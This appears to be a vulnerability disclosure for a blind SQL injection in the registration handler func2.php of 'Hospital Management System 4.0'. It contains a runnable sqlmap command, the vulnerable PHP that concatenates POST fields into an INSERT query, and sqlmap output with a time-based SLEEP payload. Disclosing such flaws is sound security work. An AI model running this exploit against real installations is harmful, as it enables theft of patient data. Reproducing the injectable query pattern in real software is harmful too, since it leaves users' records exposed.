VULNERABLE: SQL injection vulnerability exists in Hospital Management System 4.0
An attacker can inject query in func2.php (register) function

Date: 01/28/2022

Author: KienNT

Contact :

Github : https://github.com/Nguyen-Trung-Kien

Gmail: nguyentrungkien.31120@gmail.com

Facebook: https://www.facebook.com/anhchangmutrang.auz1/

Twitter : https://twitter.com/kienan1100

Product: Hospital Management System 4.0

Description: The vulnerability is present in func2.php, and can exploit throuth bind sql injection.

POC : *sqlmap -u "http://localhost/Hospital/func2.php" --data="fname=test*&email=1%40gmail.com&password=abc123&gender=Male&*

lname=q&contact=0123123123&cpassword=abc123&patsub1=Register" --current-db

Affect file: func2.php

```php
<?php
session_start();
$con=mysqli_connect("localhost","root","","myhmsdb");
if(isset($_POST['patsubl'])){
    $fname=$_POST['fname'];
  $lname=$_POST['lname'];
  $gender=$_POST['gender'];
  $email=$_POST['email'];
  $contact=$_POST['contact'];
    $password=$_POST['password'];
  $cpassword=$_POST['cpassword'];
if($password==$cpassword){
  $query="insert into patreg(fname,lname,gender,email,contact,password,cpassword) values ('$fname','$lname','$gender','$email','$contact','$password','$cpassw
  $result=mysqli_query($con,$query);
  if($result){
      $_SESSION['username'] = $_POST['fname']." ".$_POST['lname'];
      $_SESSION['fname'] = $_POST['fname'];
      $_SESSION['lname'] = $_POST['lname'];
      $_SESSION['gender'] = $_POST['gender'];
      $_SESSION['contact'] = $_POST['contact'];
      $_SESSION['email'] = $_POST['email'];
      header("Location:admin-panel.php");
  }

  $query1 = "select * from patreg;";
  $result1 = mysqli_query($con,$query1);
  if($result1){
    $_SESSION['pid'] = $row['pid'];
  }

}
```

POC :

```
[15:53:29] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one othe
r (potential) technique found
[15:53:29] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: fname=test' AND (SELECT 8330 FROM (SELECT(SLEEP(5)))LwEW) AND 'EKIA'='EKIA&email=1@gmail.com&password=abc12
3&gender=Male&lname=q&contact=0123123123&cpassword=abc123&patsub1=Register
---
[15:53:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP, Apache 2.4.51, PHP 7.3.31
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:53:45] [INFO] fetching current database
[15:53:45] [INFO] retrieved:
[15:53:45] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to pr
event potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[15:54:01] [INFO] adjusting time delay to 2 seconds due to good response times
myhmsdb
current database: 'myhmsdb'
[15:54:49] [INFO] fetched data logged to text files under '/home/anhchangmutrang/.local/share/sqlmap/output/localhost'
[15:54:49] [WARNING] your sqlmap version is outdated

[*] ending @ 15:54:49 /2022-01-26/
```

Result : dump from sqlmap